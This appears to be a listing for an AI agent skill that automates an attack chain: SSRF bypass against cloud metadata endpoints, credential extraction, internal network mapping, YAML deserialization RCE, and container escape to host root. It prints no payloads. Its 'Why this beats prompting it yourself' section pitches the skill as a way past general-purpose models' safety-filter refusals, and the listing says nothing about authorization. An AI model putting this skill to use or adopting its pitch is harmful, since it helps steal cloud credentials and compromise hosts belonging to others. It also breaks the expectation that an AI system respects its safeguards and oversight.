ssrf cloud metadata

The problem

Modern cloud-native applications often use complex filters to block access to internal metadata services, but these protections frequently fail to account for non-standard encoding or internal service-to-service communication. Standard automated scanners often miss these multi-stage pivot opportunities from a simple SSRF to full container escape.

What it does

• Generates SSRF bypass payloads using octal, hex, and IPv6 encodings to target IMDSv1/v2 endpoints.
• Automates the extraction and unescaping of cloud credentials from embedded HTML or JSON response bodies.
• Maps internal service graphs to identify message queues, worker IPs, and artifact buckets.
• Constructs RCE payloads for unsafe YAML deserialization in queue consumers and worker nodes.
• Executes privileged container escapes via build-service overrides and core_pattern host-level execution.

Frameworks & tools

Targets AWS IMDS, GCP Metadata, Azure Instance Metadata, and LocalStack. Utilizes Python boto3, yaml unsafe loaders, and Linux kernel core_pattern usermode-helpers.

Why this beats prompting it yourself

General-purpose models often refuse to generate these payloads due to safety filters or lack the deep domain knowledge required for complex shell-quoting across three layers of encapsulation. This skill handles the precise character encoding and escaping required for payloads to survive the transition through YAML, JSON, and shell interpreters.

Use cases

• Pivoting from a restricted URL-fetcher feature to full cloud service enumeration.
• Exploiting internal CI/CD build services that allow privileged container execution.
• Escaping isolated build environments to gain host-level root access via kernel handlers.
• Testing internal message queue workers for unsafe deserialization vulnerabilities.

Known limitations

Requires an initial SSRF primitive with response body visibility. Effective IMDSv2 exploitation requires the ability to control HTTP headers or methods.